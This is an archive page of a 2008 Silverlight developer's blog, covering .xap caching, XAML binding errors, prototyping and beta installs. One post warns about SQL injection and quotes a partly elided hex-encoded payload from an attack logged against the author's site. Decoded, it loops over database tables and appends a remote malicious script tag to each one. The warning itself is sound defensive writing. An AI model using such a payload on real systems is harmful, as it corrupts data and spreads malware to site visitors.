GOTCHA - or Learning how to be productive in Silverlight application development.

by Bobbi Perreault 11. October 2008 00:07
Share on Facebook

This blog post is part of my series of posts taken from a presentation I gave in September on SEO for Silverlight Applications.

The other posts in this series can be found here: Part I, Menu in Html and Silverlight, this is the Sitemap demo
Part II, Show Multiple Silverlight Controls in the Same Page with jQuery
Part III, service layer communicatioons - the Glue between the Silverlight and the WebApp
Part IV, Maintaining Browser History in a Silverlight Application

Now the adventures in Silverlight Begin.

SO – commonly encountered problems. Uh, I'm still really nuts about Silverlight and I get so excited to be able to work in it. So please take that statement and keep it in mind while I rant.

I was recently able to participate in the development of a rather ambitious Silverlight application. One which taught me a lot about how to optimize my time, how to find what's really broken, and how to keep the dang debugger attached.

It seems that the .xap file is cached by the browser. It doesn’t seem like it – it is. The Xap file is Cached by the browser.

So this is Good if you’re a web client and you want good response time. This is REALLY HARD if you’re a Silverlight developer trying to make and test a series of incrementally small changes to your Silverlight application. This is doubly complicated if you've got a Silverlight application that uses a separate .dll for business logic. Changing the Business Logic .dll will not "register" with the environment to send a new xap. Either that, or Internet Explorer doesn't think it should have to download a new .xap file to the client for whatever reason.

You know you've got an old copy of the .xap in your cache if your debugging breakpoints are disabled when the control is loaded in the browser. So although this is easily identified and it is easily fixed by clearing your temporary files, It took me literally DAYS to figure it out. Heck, I tried everything. Close Visual Studio, ReBoot My Computer, Search the Internet for answers. That’s Heartbreaking when you're on a fixed timeline.

So, anyway, here’s the magic combination: Tools/Internet Options/Delete/Delete Files/YES/Close/OK
Remember that, Tools/Internet Options/Delete/Delete Files/YES/Close/OK

That's my new routine, I think I should actually add it as a post build action for my silverlight project. Whenever it gets compiled, it will clear the temporary files before launching the debugger when I F5.

Xaml binding to a non-existant object is another problem you may encounter as I did while working in Silverlight.

Two different bindings that have caused me trouble here. One binding is when you add code to your XAML element to bind it’s data to an object that lives in the code behind. The opening edit screen wil be displayed and you’ll be able to enter text in an input area. But as soon as your focus moves from the first , the screen will go white. If that happens, the object in the code behind is null. Just make sure you always have an object created and that you haven't bound to a null object. (makes sense. :-) )

A second white screen situation results when using these techniques I’ve shown you today, for example where the button.xaml template is inserted into the xaml. If those binding styles aren’t present in your resources somewhere you won’t be able to see what happened and the app won’t work.

Normally when I run into this, I like to solve this problem by loading my control up in BLEND, as Blend provides better feedback in some error conditions. But when the xaml has been added dynamically you need to build a throwaway version of your control to get it into blend – or just be very meticulous in comparing your application resources to the resources your code is inserting.

Data-caching – edit a record and save the changes. Bring up the same record again, and the original data, sent down in the first request is used again to load this Silverlight control. Nnavigate to another page, come back in, and you still get the old record. Browsers are notorious at hanging on tenaciously to cached pages. This problem is evident in Ajax applications when sending XMLHTTPRequest GET requests to Internet Explorer. Even when you use all manner of fancy headers like "Pragma: no-cache" or "Cache-Control: must-revalidate" you'll often find that you receive a cached page rather than a 'live' one. Here's something else you can try, which has worked well for me, and essentially only needs one line of Javascript.

		myRand=parseInt(Math.random()*99999999);  // cache buster

As Always, I thank all the generous programmers and contributors who have put these answers up to their Internet sites - you people save my job every day and I would be working in a different line of business if you didn't make your contributions. thanks!

Ok, You Need to Be AWARE of The Bad Guys

by Bobbi Perreault 14. August 2008 03:15
Share on Facebook

There was an interesting topic that came up today on the LinkedIn Minnesota Group - that of an anonymous business that had had their entire SQL database filled with junk from a hack attack.

The first thing that came to my mind there was Sql Injection.  It's insideous, and dangerous, and the crooks are very bold in their efforts to use it. 

I have a perfect example of one of those types of web site visits where the low-life-can-it-be-human (LLCIBH) who was at the page was trying to inject poison into the site.  My sites inform me of any failed access attempts or errors in an email - and that email includes all the information I may need to troubleshoot the problem.  So, on this day I was notified by email of the full contents of the request.

The LLCIBH (translation above) sent a hexidecimal encoded, very long querystring at the site, which when decoded contained SQL that looked something like this:
DECLARE @S CHAR(4000);
SET @S=CAST(0x4445434C415245204054207661726368617228323535292C4043207661726368617228343
0303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C656374206
12E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E7320622
.................stuff left out here..........
6162632E766572796E782E636E2F772E6A73223E3C2F7363726970743E3C212D2D27272729464554434820
4E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F53
45205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72 AS CHAR(4000));
select @s

--EXEC(@S); 

That mess up there translates into sql that will pull a list of updateable objects from "sysobjects a" then proceed to pull the list, declare a cursor and for EACH and EVERY updateable object found - update that table Appending links to this LLCIBH site.

If this happens to anyone - they should just plan on restoring from backup.  The mess is too insideous - too entangled to fix by hand.  It's basically ruined.

Be Careful Out There.

Bobbi

Now, Why Does the Debugger Keep Getting Detached?

by Bobbi Perreault 11. August 2008 02:16
Share on Facebook

I'm still crazy in love with the promise of Silverlight and so excited to be able to work in it.  So please take that statement and keep it in mind while I rant.

I'm able to participate in the development of a rather ambitious silverlight application.  One which is teaching me a lot about how to optimize my time, how to find what's really broken, and how to keep the dang debugger attached.

It seems that the .xap file is cached by the browser.  This is doubly complicated if you've got a Silverlight application that uses a separate .dll for business logic.  Changing the Business Logic .dll will not "register" with the environment to send a new xap.  Either that, or Internet Explorer doesn't think it should have to download a new .xap file to the client for whatever reason. 

You know you've got an old copy of the .xap in your cache if your debugging breakpoints are disabled when the control is loaded in the browser.  So although this is easily fixed (CLEAR YOUR TEMPORARY FILES)  It took me literally DAYS to figure it out.  Heck, I tried everything.  Close Visual Studio, ReBoot My Computer, Search the Internet for answers.  So Heartbreaking when you're on a fixed timeline.

Tools/Internet Options/Delete/Delete Files/YES/Close/OK

That's my new routine, I'm going to actually add it as a post build action for my silverlight project.  Whenever it gets compiled, it will clear the temporary files before launching the debugger when I F5.

On September 9, 2008, I've got a session on Search Engine Optimization for Silverlight Web Applications at the Minnesota Developer's Conference.  There, I'll be giving examples of how to code your web apps to keep our web OPEN.   This talk will be lots of code and little background, so bring your Inner Geek and be ready to let her out.

 

Use Silverlight for a Prototype

by Bobbi Perreault 5. July 2008 02:53
Share on Facebook

Silverlight applications make a great prototyping tool.  For a project destined as an ASP.NET application, it seems it's faster to give your client an idea of the AJAX functionality you'll build into the final product if you mock up it's functionality really quickly using a Silverlight app and Blend.

I do this by setting the background of the default Page.xaml to my Comp screen.  Then in Blend, I set all the page items over the top of their image, using Grids and StackPanels to position them precisely where they go.

A Note about the Imagebrush idea - this is what happened to me (twice) when I created my imagebrush as a resource and then set the background property to that resource:  In design mode of Blend it shows fine - but in the compiled Silverlight application it's blank.

I found that the imagebrush works better for me in my prototype if I create it in Xaml within my Grid definition - in that case it shows up every time.

	 <Grid.Background>
	
	      <ImageBrush  ImageSource="img/screen.png"/>
	
	    </Grid.Background>
	

Anway, after the items are set in their proper screen position, I can then add the events and the mocked data that makes it come alive.  Clients can see what they'll get and programmers can see what they need to build.  I like that.

 

Moving Forward and Looking Ahead

by Bobbi Perreault 12. June 2008 21:33
Share on Facebook

This beta of Silverlight that's out since last Friday (SL2B2) is so much better than the last version that I'm starting to get really excited again looking at the possibilities.  I'm really happy about the changes they've made to support skinning controls because that'll help me with reusability of my code. 

 But it's still kind of a guessing game, when you're creating your control skin, what properties are supported on which controls.  This blog post really helped me with that problem, http://blogs.msdn.com/delay/archive/2008/03/22/improving-everyone-s-access-to-silverlight-2-s-generic-xaml-resources-silverlightdefaultstylebrowser-tool-and-source-code.aspx 

The application that Mr. Delay wrote, SilverlightDefaultStyleBrowser, is now something I keep open while I'm working.  That and the documentation that's been released which is FABULOUS! 

So, here we go - let's burn some rubber. 

Installing SL2B2 WOE is ME

by Bobbi Perreault 7. June 2008 03:19
Share on Facebook

I love Microsoft, I love Microsoft, I love Microsoft......

Why do I do it?  I know it'll hurt, but I just can't stop myself.  Beta software is Beta for a reason, and by golly, I needed to know about this before I started down the long road of trying to get back where I was yesterday....  Before I uninstalled SL2B1 in preparation for installing SL2B2. 

 Just say no!  Don't uninstall, they're trying to make your life easier.  Yep, it's just the opposite of when we got SL2B1, but, at least they wanted to help.

Try this post - it'll help you and I hope by the end of my installation wait that it has helped me too.

http://weblogs.asp.net/bradleyb/archive/2008/06/06/upgrading-to-silverlight-beta-2-and-visual-studio-2008-sp1-beta.aspx

<< Previous posts

 

RSS Feed